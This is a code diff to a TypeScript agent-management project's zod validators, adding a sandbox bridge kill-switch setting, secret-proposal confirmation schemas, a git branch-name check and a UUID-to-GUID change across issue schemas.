+  requestConfirmationSecretProposalPayloadSchema,
+  requestConfirmationSecretProposalResultSchema,
   requestCheckboxConfirmationOptionSchema,
   requestCheckboxConfirmationPayloadSchema,
   requestCheckboxConfirmationResultSchema,
@@ -758,6 +766,7 @@ export {
   pluginWebhookDeclarationSchema,
   pluginToolDeclarationSchema,
   pluginEnvironmentDriverDeclarationSchema,
+  sandboxProviderCapabilitiesSchema,
   pluginUiSlotDeclarationSchema,
   pluginLauncherActionDeclarationSchema,
   pluginLauncherRenderDeclarationSchema,
@@ -779,6 +788,7 @@ export {
   type PluginWebhookDeclarationInput,
   type PluginToolDeclarationInput,
   type PluginEnvironmentDriverDeclarationInput,
+  type SandboxProviderCapabilitiesInput,
   type PluginUiSlotDeclarationInput,
   type PluginLauncherActionDeclarationInput,
   type PluginLauncherRenderDeclarationInput,
diff --git a/packages/shared/src/validators/instance.test.ts b/packages/shared/src/validators/instance.test.ts
index ae7ab4cbe32..e2a518e99f9 100644
--- a/packages/shared/src/validators/instance.test.ts
+++ b/packages/shared/src/validators/instance.test.ts
@@ -24,6 +24,29 @@ describe("instance experimental settings validators", () => {
     expect(settings.enableGoalsSidebarLink).toBe(false);
   });
 
+  it("defaults the sandbox duplex bridge kill switch off", () => {
+    const settings = instanceExperimentalSettingsSchema.parse({});
+
+    expect(settings.enableSandboxDuplexBridge).toBe(false);
+  });
+
+  it("accepts an explicit sandbox duplex bridge kill switch value", () => {
+    expect(
+      instanceExperimentalSettingsSchema.parse({ enableSandboxDuplexBridge: true })
+        .enableSandboxDuplexBridge,
+    ).toBe(true);
+    expect(
+      instanceExperimentalSettingsSchema.parse({ enableSandboxDuplexBridge: false })
+        .enableSandboxDuplexBridge,
+    ).toBe(false);
+  });
+
+  it("accepts the sandbox duplex bridge kill switch in a patch", () => {
+    expect(
+      patchInstanceExperimentalSettingsSchema.parse({ enableSandboxDuplexBridge: true }),
+    ).toEqual({ enableSandboxDuplexBridge: true });
+  });
+
   it("defaults worktree run execution off", () => {
     const settings = instanceExperimentalSettingsSchema.parse({});
 
diff --git a/packages/shared/src/validators/instance.ts b/packages/shared/src/validators/instance.ts
index 4af496897b0..1fc088daabb 100644
--- a/packages/shared/src/validators/instance.ts
+++ b/packages/shared/src/validators/instance.ts
@@ -10,6 +10,7 @@ import {
   MIN_ISSUE_GRAPH_LIVENESS_AUTO_RECOVERY_LOOKBACK_HOURS,
 } from "../types/instance.js";
 import { feedbackDataSharingPreferenceSchema } from "./feedback.js";
+import { shapeWithoutDefaults } from "./partial.js";
 
 function presetSchema<T extends readonly number[]>(presets: T, label: string) {
   return z.number().refine(
@@ -36,7 +37,10 @@ export const instanceGeneralSettingsSchema = z.object({
   executionMode: z.enum(["kubernetes", "any"]).optional(),
 }).strict();
 
-export const patchInstanceGeneralSettingsSchema = instanceGeneralSettingsSchema.partial();
+export const patchInstanceGeneralSettingsSchema = z
+  .object(shapeWithoutDefaults(instanceGeneralSettingsSchema.shape))
+  .partial()
+  .strict();
 
 export const instanceExperimentalSettingsSchema = z.object({
   enableEnvironments: z.boolean().default(false),
@@ -66,6 +70,10 @@ export const instanceExperimentalSettingsSchema = z.object({
   enableWorkspaceBranchReconcileForward: z.boolean().default(true),
   enableWorkspaceDirtyQuarantineRepair: z.boolean().default(true),
   enableOwnerInstanceAdmin: z.boolean().default(false),
+  // Kill switch for the sandbox duplex command-stream bridge. Default off. When
+  // off the host keeps the file bridge for every run with no manifest change and
+  // no redeploy. The host reads this per run before it selects the transport.
+  enableSandboxDuplexBridge: z.boolean().default(false),
   enableWorktreeRunExecution: z.boolean().default(false),
   worktreeRunExecutionActivatedAt: z.string().datetime().nullable().default(null),
   worktreeRunExecutionActivationInstanceId: z.string().min(1).nullable().default(null),
@@ -77,11 +85,17 @@ export const instanceExperimentalSettingsSchema = z.object({
     .default(DEFAULT_ISSUE_GRAPH_LIVENESS_AUTO_RECOVERY_LOOKBACK_HOURS),
 }).strict();
 
-export const patchInstanceExperimentalSettingsSchema = instanceExperimentalSettingsSchema
-  .omit({
-    worktreeRunExecutionActivatedAt: true,
-    worktreeRunExecutionActivationInstanceId: true,
-  })
+export const patchInstanceExperimentalSettingsSchema = z
+  .object(
+    shapeWithoutDefaults(
+      instanceExperimentalSettingsSchema
+        .omit({
+          worktreeRunExecutionActivatedAt: true,
+          worktreeRunExecutionActivationInstanceId: true,
+        })
+        .shape,
+    ),
+  )
   .partial()
   .strip();
 
@@ -94,11 +108,11 @@ export const managedSettingMetadataSchema = z.object({
 // instances every overlaid key is listed in `managedKeys`; self-hosted
 // responses omit the field entirely.
 export const instanceExperimentalSettingsWithManagedSchema = instanceExperimentalSettingsSchema.extend({
-  managedKeys: z.record(managedSettingMetadataSchema).optional(),
+  managedKeys: z.record(z.string(), managedSettingMetadataSchema).optional(),
 }).strict();
 
 export const patchInstanceSettingsSchema = z.object({
-  defaultEnvironmentId: z.string().uuid().nullable().optional(),
+  defaultEnvironmentId: z.string().guid().nullable().optional(),
 }).strict();
 
 export const issueGraphLivenessAutoRecoveryRequestSchema = z.object({
@@ -111,17 +125,24 @@ export const issueGraphLivenessAutoRecoveryRequestSchema = z.object({
 }).strict();
 
 export type InstanceGeneralSettings = z.infer<typeof instanceGeneralSettingsSchema>;
-export type PatchInstanceGeneralSettings = z.infer<typeof patchInstanceGeneralSettingsSchema>;
+// The patch schema removes each default so an absent key stays absent. Declare
+// the type from the full settings type, so every field keeps its precise type.
+export type PatchInstanceGeneralSettings = Partial<InstanceGeneralSettings>;
 export type InstanceExperimentalSettings = z.infer<typeof instanceExperimentalSettingsSchema>;
-export type PatchInstanceExperimentalSettings = z.infer<typeof patchInstanceExperimentalSettingsSchema>;
+export type PatchInstanceExperimentalSettings = Partial<
+  Omit<
+    InstanceExperimentalSettings,
+    "worktreeRunExecutionActivatedAt" | "worktreeRunExecutionActivationInstanceId"
+  >
+>;
 export type PatchInstanceSettings = z.infer<typeof patchInstanceSettingsSchema>;
 export type IssueGraphLivenessAutoRecoveryRequest = z.infer<
   typeof issueGraphLivenessAutoRecoveryRequestSchema
 >;
 
 export const instanceSettingsSchema = z.object({
-  id: z.string().uuid(),
-  defaultEnvironmentId: z.string().uuid().nullable(),
+  id: z.string().guid(),
+  defaultEnvironmentId: z.string().guid().nullable(),
   general: instanceGeneralSettingsSchema,
   experimental: instanceExperimentalSettingsWithManagedSchema,
   createdAt: z.union([z.date(), z.string().datetime()]),
diff --git a/packages/shared/src/validators/issue.ts b/packages/shared/src/validators/issue.ts
index d46ed90c1d9..01e688cf0c2 100644
--- a/packages/shared/src/validators/issue.ts
+++ b/packages/shared/src/validators/issue.ts
@@ -25,8 +25,11 @@ import {
   clampIssueRequestDepth,
   ISSUE_STATUSES,
   ISSUE_THREAD_INTERACTION_CONTINUATION_POLICIES,
+  ISSUE_THREAD_INTERACTION_CANONICAL_RESOLVER_POLICIES,
+  ISSUE_THREAD_INTERACTION_EFFECTIVE_RESOLVER_POLICY_SOURCES,
   ISSUE_THREAD_INTERACTION_KINDS,
   ISSUE_THREAD_INTERACTION_RESOLVER_POLICIES,
+  ISSUE_THREAD_INTERACTION_RESOLVER_POLICY_PROVENANCES,
   ISSUE_THREAD_INTERACTION_STATUSES,
   ISSUE_WATCHDOG_DISCOVERY_KINDS,
   MODEL_PROFILE_KEYS,
@@ -35,6 +38,7 @@ import {
 } from "../constants.js";
 import { multilineTextSchema } from "./text.js";
 import { lowTrustReviewPresetPolicySchema, trustAuthorizationPolicySchema } from "./trust-policy.js";
+import { objectWithoutDefaults } from "./partial.js";
 
 export const issueBlockedInboxStateSchema = z.enum([
   "needs_attention",
@@ -62,12 +66,12 @@ export const issueBlockedInboxReasonSchema = z.enum([
 ]);
 
 export const issueBlockedInboxIssueRefSchema = z.object({
-  id: z.string().uuid(),
+  id: z.string().guid(),
   identifier: z.string().nullable(),
   title: z.string(),
   status: z.enum(ISSUE_STATUSES),
   priority: z.enum(ISSUE_PRIORITIES),
-  assigneeAgentId: z.string().uuid().nullable(),
+  assigneeAgentId: z.string().guid().nullable(),
   assigneeUserId: z.string().nullable(),
 }).strict();
 
@@ -79,7 +83,7 @@ export const issueBlockedInboxAttentionSchema = z.object({
   stoppedSinceAt: z.string().datetime().nullable(),
   owner: z.object({
     type: z.enum(["agent", "user", "board", "external", "unknown"]),
-    agentId: z.string().uuid().nullable(),
+    agentId: z.string().guid().nullable(),
     userId: z.string().nullable(),
     label: z.string().nullable(),
   }).strict(),
@@ -90,8 +94,8 @@ export const issueBlockedInboxAttentionSchema = z.object({
   sourceIssue: issueBlockedInboxIssueRefSchema.nullable(),
   leafIssue: issueBlockedInboxIssueRefSchema.nullable(),
   recoveryIssue: issueBlockedInboxIssueRefSchema.nullable(),
-  approvalId: z.string().uuid().nullable(),
-  interactionId: z.string().uuid().nullable(),
+  approvalId: z.string().guid().nullable(),
+  interactionId: z.string().guid().nullable(),
   sampleIssueIdentifier: z.string().nullable(),
   redaction: z.object({
     externalDetailsRedacted: z.boolean(),
@@ -108,17 +112,50 @@ export const ISSUE_EXECUTION_WORKSPACE_PREFERENCES = [
   "agent_default",
 ] as const;
 
+// Mirrors git check-ref-format for a single branch name. The runtime verifies
+// the branch actually exists before attaching, so this only rejects values
+// that could never be a branch (path escapes, option injection, ref syntax).
+export function isValidExistingBranchName(value: string): boolean {
+  if (value.length === 0 || value.length > 255) return false;
+  if (value.startsWith("-") || value.startsWith("/") || value.startsWith(".")) return false;
+  if (value.endsWith("/") || value.endsWith(".") || value.endsWith(".lock")) return false;
+  if (value.includes("..") || value.includes("//") || value.includes("@{") || value.includes("/.")) return false;
+  // eslint-disable-next-line no-control-regex
+  if (/[\x00-\x20\x7f~^:?*[\\]/.test(value)) return false;
+  return true;
+}
+
 const executionWorkspaceStrategySchema = z
   .object({
     type: z.enum(["project_primary", "git_worktree", "adapter_managed", "cloud_sandbox"]).optional(),
     baseRef: z.string().optional().nullable(),
     branchTemplate: z.string().optional().nullable(),
+    existingBranch: z.string().trim().refine(isValidExistingBranchName, {
+      message: "existingBranch must be a valid git branch name",
+    }).optional().nullable(),
     worktreeParentDir: z.string().optional().nullable(),
     provisionCommand: z.string().optional().nullable(),
     runtimeProvisionCommand: z.string().optional().nullable(),
     teardownCommand: z.string().optional().nullable(),
   })
-  .strict();
+  .strict()
+  .superRefine((strategy, ctx) => {
+    if (!strategy.existingBranch) return;
+    if (strategy.type !== "git_worktree") {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        path: ["existingBranch"],
+        message: "existingBranch requires workspaceStrategy.type \"git_worktree\"",
+      });
+    }
+    if (strategy.branchTemplate) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        path: ["existingBranch"],
+        message: "existingBranch and branchTemplate are mutually exclusive",
+      });
+    }
+  });
 
 const ipv4CidrPattern = /^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\/(?:3[0-2]|[12]?\d)$/;
 const protectedTaskEgressCidrs = [
@@ -155,7 +192,7 @@ export const issueExecutionWorkspaceSettingsSchema = z
   .object({
     mode: z.enum(ISSUE_EXECUTION_WORKSPACE_PREFERENCES).optional(),
     sharedWorkspaceConcurrency: z.enum(["auto", "serialize", "allow"]).optional(),
-    environmentId: z.string().uuid().optional().nullable(),
+    environmentId: z.string().guid().optional().nullable(),
     workspaceStrategy: executionWorkspaceStrategySchema.optional().nullable(),
     workspaceRuntime: z.record(z.string(), z.unknown()).optional().nullable(),
     networkEgress: z.object({
@@ -172,7 +209,16 @@ export const issueExecutionWorkspaceSettingsSchema = z
       )).max(100).optional(),
     }).strict().optional().nullable(),
   })
-  .strict();
+  .strict()
+  .superRefine((settings, ctx) => {
+    if (settings.workspaceStrategy?.existingBranch && settings.mode !== "isolated_workspace") {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        path: ["workspaceStrategy", "existingBranch"],
+        message: "existingBranch requires mode \"isolated_workspace\"",
+      });
+    }
+  });
 
 export const issueAssigneeAdapterOverridesSchema = z
   .object({
@@ -184,7 +230,7 @@ export const issueAssigneeAdapterOverridesSchema = z
 
 const issueExecutionStagePrincipalBaseSchema = z.object({
   type: z.enum(["agent", "user"]),
-  agentId: z.string().uuid().optional().nullable(),
+  agentId: z.string().guid().optional().nullable(),
   userId: z.string().optional().nullable(),
 });
 
@@ -208,7 +254,7 @@ export const issueExecutionStagePrincipalSchema = issueExecutionStagePrincipalBa
   });
 
 export const issueExecutionStageParticipantSchema = issueExecutionStagePrincipalBaseSchema.extend({
-  id: z.string().uuid().optional(),
+  id: z.string().guid().optional(),
 }).superRefine((value, ctx) => {
   if (value.type === "agent") {
     if (!value.agentId) {
@@ -228,7 +274,7 @@ export const issueExecutionStageParticipantSchema = issueExecutionStagePrincipal
 });
 
 export const issueExecutionStageSchema = z.object({
-  id: z.string().uuid().optional(),
+  id: z.string().guid().optional(),
   type: z.enum(ISSUE_EXECUTION_STAGE_TYPES),
   approvalsNeeded: z.literal(1).optional().default(1),
   participants: z.array(issueExecutionStageParticipantSchema).default([]),
@@ -279,31 +325,31 @@ export const issueReviewRequestSchema = z.object({
 
 export const issueExecutionStateSchema = z.object({
   status: z.enum(ISSUE_EXECUTION_STATE_STATUSES),
-  currentStageId: z.string().uuid().nullable(),
+  currentStageId: z.string().guid().nullable(),
   currentStageIndex: z.number().int().nonnegative().nullable(),
   currentStageType: z.enum(ISSUE_EXECUTION_STAGE_TYPES).nullable(),
   currentParticipant: issueExecutionStagePrincipalSchema.nullable(),
   returnAssignee: issueExecutionStagePrincipalSchema.nullable(),
   reviewRequest: issueReviewRequestSchema.nullable().optional().default(null),
-  completedStageIds: z.array(z.string().uuid()).default([]),
-  lastDecisionId: z.string().uuid().nullable(),
+  completedStageIds: z.array(z.string().guid()).default([]),
+  lastDecisionId: z.string().guid().nullable(),
   lastDecisionOutcome: z.enum(ISSUE_EXECUTION_DECISION_OUTCOMES).nullable(),
   monitor: issueExecutionMonitorStateSchema.optional().nullable(),
   changesRequestedCount: z.number().int().nonnegative().optional().default(0),
 });
 
 export const issueRecoveryActionReadModelSchema = z.object({
-  id: z.string().uuid(),
-  companyId: z.string().uuid(),
-  sourceIssueId: z.string().uuid(),
-  recoveryIssueId: z.string().uuid().nullable(),
+  id: z.string().guid(),
+  companyId: z.string().guid(),
+  sourceIssueId: z.string().guid(),
+  recoveryIssueId: z.string().guid().nullable(),
   kind: z.enum(ISSUE_RECOVERY_ACTION_KINDS),
   status: z.enum(ISSUE_RECOVERY_ACTION_STATUSES),
   ownerType: z.enum(ISSUE_RECOVERY_ACTION_OWNER_TYPES),
-  ownerAgentId: z.string().uuid().nullable(),
+  ownerAgentId: z.string().guid().nullable(),
   ownerUserId: z.string().nullable(),
-  previousOwnerAgentId: z.string().uuid().nullable(),
-  returnOwnerAgentId: z.string().uuid().nullable(),
+  previousOwnerAgentId: z.string().guid().nullable(),
+  returnOwnerAgentId: z.string().guid().nullable(),
   cause: z.string().min(1),
   fingerprint: z.string().min(1),
   evidence: z.record(z.string(), z.unknown()),
@@ -331,7 +377,7 @@ const RESOLVE_ISSUE_RECOVERY_ACTION_OUTCOMES = [
 ] as const;
 
 export const resolveIssueRecoveryActionSchema = z.object({
-  actionId: z.string().uuid().optional(),
+  actionId: z.string().guid().optional(),
   outcome: z.enum(RESOLVE_ISSUE_RECOVERY_ACTION_OUTCOMES),
   sourceIssueStatus: z.enum(["todo", "done", "in_review", "blocked"]),
   resolutionNote: multilineTextSchema.optional().nullable(),
@@ -427,20 +473,20 @@ function withCreateIssueStatusDefault<T extends z.ZodRawShape>(schema: z.ZodObje
 }
 
 const createIssueBaseSchema = z.object({
-  projectId: z.string().uuid().optional().nullable(),
-  projectWorkspaceId: z.string().uuid().optional().nullable(),
-  goalId: z.string().uuid().optional().nullable(),
-  parentId: z.string().uuid().optional().nullable(),
-  blockedByIssueIds: z.array(z.string().uuid()).optional(),
+  projectId: z.string().guid().optional().nullable(),
+  projectWorkspaceId: z.string().guid().optional().nullable(),
+  goalId: z.string().guid().optional().nullable(),
+  parentId: z.string().guid().optional().nullable(),
+  blockedByIssueIds: z.array(z.string().guid()).optional(),
   unblockDescriptor: z.object({
     owner: z.union([
-      z.object({ agentId: z.string().uuid() }).strict(),
+      z.object({ agentId: z.string().guid() }).strict(),
       z.object({ userId: z.string().trim().min(1) }).strict(),
       z.literal("board"),
     ]),
     action: multilineTextSchema.pipe(z.string().trim().min(1).max(2_000)),
   }).strict().optional().nullable(),
-  inheritExecutionWorkspaceFromIssueId: z.string().uuid().optional().nullable(),
+  inheritExecutionWorkspaceFromIssueId: z.string().guid().optional().nullable(),
   title: z.string().min(1),
   description: multilineTextSchema.optional().nullable(),
   status: z.enum(ISSUE_STATUSES),
@@ -448,7 +494,7 @@ const createIssueBaseSchema = z.object({
   harnessKind: z.enum(ISSUE_HARNESS_KINDS).optional().nullable(),
   priority: z.enum(ISSUE_PRIORITIES).optional().default("medium"),
   reviewPolicy: z.enum(ISSUE_REVIEW_POLICIES).optional().nullable(),
-  assigneeAgentId: z.string().uuid().optional().nullable(),
+  assigneeAgentId: z.string().guid().optional().nullable(),
   assigneeUserId: z.string().optional().nullable(),
   requestDepth: issueRequestDepthInputSchema.optional().default(0),
   createdByUserId: z.string().optional().nullable(),
@@ -456,16 +502,16 @@ const createIssueBaseSchema = z.object({
   billingCode: z.string().optional().nullable(),
   assigneeAdapterOverrides: issueAssigneeAdapterOverridesSchema.optional().nullable(),
   executionPolicy: issueExecutionPolicySchema.optional().nullable(),
-  executionWorkspaceId: z.string().uuid().optional().nullable(),
+  executionWorkspaceId: z.string().guid().optional().nullable(),
   executionWorkspacePreference: z.enum(ISSUE_EXECUTION_WORKSPACE_PREFERENCES).optional().nullable(),
   executionWorkspaceSettings: issueExecutionWorkspaceSettingsSchema.optional().nullable(),
-  labelIds: z.array(z.string().uuid()).optional(),
+  labelIds: z.array(z.string().guid()).optional(),
   watchdogDiscovery: z.object({
     kind: z.enum(ISSUE_WATCHDOG_DISCOVERY_KINDS),
     evidenceMarkdown: multilineTextSchema.optional().nullable(),
   }).strict().optional().nullable(),
   watchdog: z.object({
-    agentId: z.string().uuid(),
+    agentId: z.string().guid(),
     instructions: multilineTextSchema.optional().nullable(),
   }).strict().optional().nullable(),
 });
@@ -514,7 +560,7 @@ export const createIssueSchema = withCreateIssueStatusDefault(
 export type CreateIssue = z.infer<typeof createIssueSchema>;
 
 export const upsertIssueWatchdogSchema = z.object({
-  agentId: z.string().uuid(),
+  agentId: z.string().guid(),
   instructions: multilineTextSchema.optional().nullable(),
 }).strict();
 
@@ -534,7 +580,7 @@ export const createChildIssueSchema = withCreateIssueStatusDefault(createIssueBa
 export type CreateChildIssue = z.infer<typeof createChildIssueSchema>;
 
 export const createAcceptedPlanDecompositionSchema = z.object({
-  acceptedPlanRevisionId: z.string().uuid(),
+  acceptedPlanRevisionId: z.string().guid(),
   children: z.array(createChildIssueSchema).min(1).max(25),
 });
 
@@ -547,16 +593,18 @@ export const createIssueLabelSchema = z.object({
 
 export type CreateIssueLabel = z.infer<typeof createIssueLabelSchema>;
 
-export const updateIssueSchema = createIssueBaseSchema.omit({
-  createdByUserId: true,
-  responsibleUserId: true,
-  watchdog: true,
-}).partial().extend({
+export const updateIssueSchema = objectWithoutDefaults(
+  createIssueBaseSchema.omit({
+    createdByUserId: true,
+    responsibleUserId: true,
+    watchdog: true,
+  }),
+).partial().extend({
   requestDepth: issueRequestDepthInputSchema.optional(),
   assigneeAgentId: z.string().trim().min(1).optional().nullable(),
   comment: multilineTextSchema.pipe(z.string().min(1)).optional(),
   onBehalfOfUserId: z.string().trim().min(1).optional().nullable(),
-  reviewInteractionId: z.string().uuid().optional(),
+  reviewInteractionId: z.string().guid().optional(),
   reviewRequest: issueReviewRequestSchema.optional().nullable(),
   reopen: z.boolean().optional(),
   resume: z.boolean().optional(),
@@ -583,7 +631,7 @@ export const stalledReviewDecisionSchema = z.object({
 export type StalledReviewDecision = z.infer<typeof stalledReviewDecisionSchema>;
 
 export const checkoutIssueSchema = z.object({
-  agentId: z.string().uuid(),
+  agentId: z.string().guid(),
   expectedStatuses: z.array(z.enum(ISSUE_STATUSES)).nonempty(),
 });
 
@@ -628,21 +676,21 @@ const issueCommentMetadataKeyValueRowSchema = issueCommentMetadataBaseRowSchema.
 
 const issueCommentMetadataIssueLinkRowSchema = issueCommentMetadataBaseRowSchema.extend({
   type: z.literal("issue_link"),
-  issueId: z.string().uuid().nullable().optional(),
+  issueId: z.string().guid().nullable().optional(),
   identifier: z.string().trim().min(1).max(80).nullable().optional(),
   title: z.string().trim().min(1).max(240).nullable().optional(),
 }).strict();
 
 const issueCommentMetadataAgentLinkRowSchema = issueCommentMetadataBaseRowSchema.extend({
   type: z.literal("agent_link"),
-  agentId: z.string().uuid(),
+  agentId: z.string().guid(),
   name: z.string().trim().min(1).max(160).nullable().optional(),
 }).strict();
 
 const issueCommentMetadataRunLinkRowSchema = issueCommentMetadataBaseRowSchema.extend({
   type: z.literal("run_link"),
-  runId: z.string().uuid(),
-  agentId: z.string().uuid().nullable().optional(),
+  runId: z.string().guid(),
+  agentId: z.string().guid().nullable().optional(),
   title: z.string().trim().min(1).max(160).nullable().optional(),
 }).strict();
 
@@ -670,7 +718,7 @@ export const issueCommentMetadataSectionSchema = z.object({
 
 export const issueCommentMetadataSchema = z.object({
   version: z.literal(1),
-  sourceRunId: z.string().uuid().nullable().optional(),
+  sourceRunId: z.string().guid().nullable().optional(),
   authorizationReason: z.string().trim().min(1).max(160).nullable().optional(),
   sections: z.array(issueCommentMetadataSectionSchema).min(1).max(20),
 }).strict();
@@ -692,7 +740,18 @@ export type AddIssueComment = z.infer<typeof addIssueCommentSchema>;
 
 export const issueThreadInteractionStatusSchema = z.enum(ISSUE_THREAD_INTERACTION_STATUSES);
 export const issueThreadInteractionKindSchema = z.enum(ISSUE_THREAD_INTERACTION_KINDS);
-export const issueThreadInteractionResolverPolicySchema = z.enum(ISSUE_THREAD_INTERACTION_RESOLVER_POLICIES);
+export const issueThreadInteractionCanonicalResolverPolicySchema = z
+  .enum(ISSUE_THREAD_INTERACTION_CANONICAL_RESOLVER_POLICIES)
+  .describe("Canonical resolver audience: anyone, not_creator, or human_only.");
+export const issueThreadInteractionResolverPolicySchema = z
+  .enum(ISSUE_THREAD_INTERACTION_RESOLVER_POLICIES)
+  .describe(
+    "Resolver audience. Use anyone, not_creator, or human_only; board_or_agents and board_only are deprecated compatibility aliases.",
+  );
+export const issueThreadInteractionResolverPolicyProvenanceSchema = z
+  .enum(ISSUE_THREAD_INTERACTION_RESOLVER_POLICY_PROVENANCES);
+export const issueThreadInteractionEffectiveResolverPolicySourceSchema = z
+  .enum(ISSUE_THREAD_INTERACTION_EFFECTIVE_RESOLVER_POLICY_SOURCES);
 export const issueThreadInteractionContinuationPolicySchema = z.enum(
   ISSUE_THREAD_INTERACTION_CONTINUATION_POLICIES,
 );
@@ -707,15 +766,15 @@ export const issueDocumentKeySchema = z
 export const suggestedTaskDraftSchema = z.object({
   clientKey: z.string().trim().min(1).max(120),
   parentClientKey: z.string().trim().min(1).max(120).nullable().optional(),
-  parentId: z.string().uuid().nullable().optional(),
+  parentId: z.string().guid().nullable().optional(),
   title: z.string().trim().min(1).max(240),
   description: multilineTextSchema.pipe(z.string().trim().max(20000)).nullable().optional(),
   priority: z.enum(ISSUE_PRIORITIES).nullable().optional(),
   workMode: z.enum(ISSUE_WORK_MODES).nullable().optional(),
-  assigneeAgentId: z.string().uuid().nullable().optional(),
+  assigneeAgentId: z.string().guid().nullable().optional(),
   assigneeUserId: z.string().trim().min(1).nullable().optional(),
-  projectId: z.string().uuid().nullable().optional(),
-  goalId: z.string().uuid().nullable().optional(),
+  projectId: z.string().guid().nullable().optional(),
+  goalId: z.string().guid().nullable().optional(),
   billingCode: z.string().trim().max(120).nullable().optional(),
   labels: z.array(z.string().trim().min(1).max(48)).max(20).optional(),
   hiddenInPreview: z.boolean().optional(),
@@ -731,7 +790,7 @@ export const suggestedTaskDraftSchema = z.object({
 
 export const suggestTasksPayloadSchema = z.object({
   version: z.literal(1),
-  defaultParentId: z.string().uuid().nullable().optional(),
+  defaultParentId: z.string().guid().nullable().optional(),
   tasks: z.array(suggestedTaskDraftSchema).min(1).max(50),
 }).superRefine((value, ctx) => {
   const seenClientKeys = new Set<string>();
@@ -750,10 +809,10 @@ export const suggestTasksPayloadSchema = z.object({
 
 export const suggestTasksResultCreatedTaskSchema = z.object({
   clientKey: z.string().trim().min(1).max(120),
-  issueId: z.string().uuid(),
+  issueId: z.string().guid(),
   identifier: z.string().trim().min(1).nullable().optional(),
   title: z.string().trim().min(1).nullable().optional(),
-  parentIssueId: z.string().uuid().nullable().optional(),
+  parentIssueId: z.string().guid().nullable().optional(),
   parentIdentifier: z.string().trim().min(1).nullable().optional(),
 });
 
@@ -844,10 +903,10 @@ export const askUserQuestionsResultSchema = z.object({
   cancelled: z.literal(true).optional(),
   cancellationReason: z.string().trim().max(4000).nullable().optional(),
   expirationReason: z.enum(["superseded_by_comment", "superseded_by_newer_interaction"]).optional(),
-  commentId: z.string().uuid().nullable().optional(),
+  commentId: z.string().guid().nullable().optional(),
   // Set alongside expirationReason "superseded_by_newer_interaction": the id of
   // the newer sibling ask_user_questions that replaced this one (PAP-437).
-  supersededByInteractionId: z.string().uuid().nullable().optional(),
+  supersededByInteractionId: z.string().guid().nullable().optional(),
   summaryMarkdown: z.string().max(20000).nullable().optional(),
 });
 
@@ -864,10 +923,10 @@ const requestConfirmationTargetBaseSchema = z.object({
 
 export const requestConfirmationIssueDocumentTargetSchema = requestConfirmationTargetBaseSchema.extend({
   type: z.literal("issue_document"),
-  issueId: z.string().uuid().nullable().optional(),
-  documentId: z.string().uuid().nullable().optional(),
+  issueId: z.string().guid().nullable().optional(),
+  documentId: z.string().guid().nullable().optional(),
   key: issueDocumentKeySchema,
-  revisionId: z.string().uuid(),
+  revisionId: z.string().guid(),
   revisionNumber: z.number().int().positive().nullable().optional(),
 });
 
@@ -885,12 +944,12 @@ export const requestConfirmationTargetSchema = z.discriminatedUnion("type", [
 
 export const requestConfirmationToolActionPayloadSchema = z.object({
   version: z.literal(1),
-  actionRequestId: z.string().uuid(),
-  invocationId: z.string().uuid(),
+  actionRequestId: z.string().guid(),
+  invocationId: z.string().guid(),
   toolName: z.string().trim().min(1).max(500),
   toolDisplayName: z.string().trim().min(1).max(500),
-  connectionId: z.string().uuid().nullable(),
-  applicationId: z.string().uuid().nullable(),
+  connectionId: z.string().guid().nullable(),
+  applicationId: z.string().guid().nullable(),
   appDisplayName: z.string().trim().min(1).max(500).nullable(),
   risk: z.enum(["write", "destructive"]),
   previewMarkdown: z.string().trim().min(1).max(20000),
@@ -899,6 +958,17 @@ export const requestConfirmationToolActionPayloadSchema = z.object({
   expiresAt: z.string().datetime({ offset: true }),
 });
 
+export const requestConfirmationSecretProposalPayloadSchema = z.object({
+  version: z.literal(1),
+  proposalId: z.string().guid(),
+  sourceSecretLabel: z.string().trim().min(1).max(500),
+  configPath: z.string().trim().min(1).max(500),
+  targetAgentId: z.string().guid(),
+  targetAgentName: z.string().trim().min(1).max(500),
+  justification: z.string().trim().min(1).max(20000),
+  expiresAt: z.string().datetime({ offset: true }),
+});
+
 export const requestConfirmationPayloadSchema = z.object({
   version: z.literal(1),
   prompt: z.string().trim().min(1).max(1000),
@@ -912,6 +982,7 @@ export const requestConfirmationPayloadSchema = z.object({
   supersedeOnUserComment: z.boolean().optional(),
   target: requestConfirmationTargetSchema.nullable().optional(),
   toolAction: requestConfirmationToolActionPayloadSchema.optional(),
+  secretProposal: requestConfirmationSecretProposalPayloadSchema.optional(),
 });
 
 export const requestCheckboxConfirmationOptionSchema = z.object({
@@ -1019,9 +1090,9 @@ export const requestConfirmationResumeFailureSchema = z.object({
   errorCode: z.string().trim().min(1).max(120).nullable(),
   attempt: z.number().int().min(0).max(100),
   maxAttempts: z.number().int().min(0).max(100),
-  runId: z.string().uuid().nullable().optional(),
-  retryRunId: z.string().uuid().nullable().optional(),
-  recoveryActionId: z.string().uuid().nullable().optional(),
+  runId: z.string().guid().nullable().optional(),
+  retryRunId: z.string().guid().nullable().optional(),
+  recoveryActionId: z.string().guid().nullable().optional(),
   updatedAt: z.string().trim().min(1).nullable().optional(),
 });
 
@@ -1038,6 +1109,13 @@ export const requestConfirmationToolActionResultSchema = z.object({
   updatedAt: z.string().datetime({ offset: true }),
 });
 
+export const requestConfirmationSecretProposalResultSchema = z.object({
+  version: z.literal(1),
+  status: z.enum(["executed", "failed", "rejected", "withdrawn", "expired"]),
+  errorCode: z.string().trim().min(1).max(120).nullable().optional(),
+  updatedAt: z.string().datetime({ offset: true }),
+});
+
 export const requestConfirmationResultSchema = z.object({
   version: z.literal(1),
   outcome: z.enum([
@@ -1051,11 +1129,12 @@ export const requestConfirmationResultSchema = z.object({
     "addressee_deleted",
   ]),
   reason: z.string().trim().max(4000).nullable().optional(),
-  commentId: z.string().uuid().nullable().optional(),
-  supersededByInteractionId: z.string().uuid().nullable().optional(),
+  commentId: z.string().guid().nullable().optional(),
+  supersededByInteractionId: z.string().guid().nullable().optional(),
   staleTarget: requestConfirmationTargetSchema.nullable().optional(),
   resumeFailure: requestConfirmationResumeFailureSchema.nullable().optional(),
   toolAction: requestConfirmationToolActionResultSchema.optional(),
+  secretProposal: requestConfirmationSecretProposalResultSchema.optional(),
 });
 
 export const requestCheckboxConfirmationResultSchema = requestConfirmationResultSchema.extend({
@@ -1085,7 +1164,7 @@ export const requestItemVerdictsItemSchema = z.object({
   description: z.string().trim().max(500).nullable().optional(),
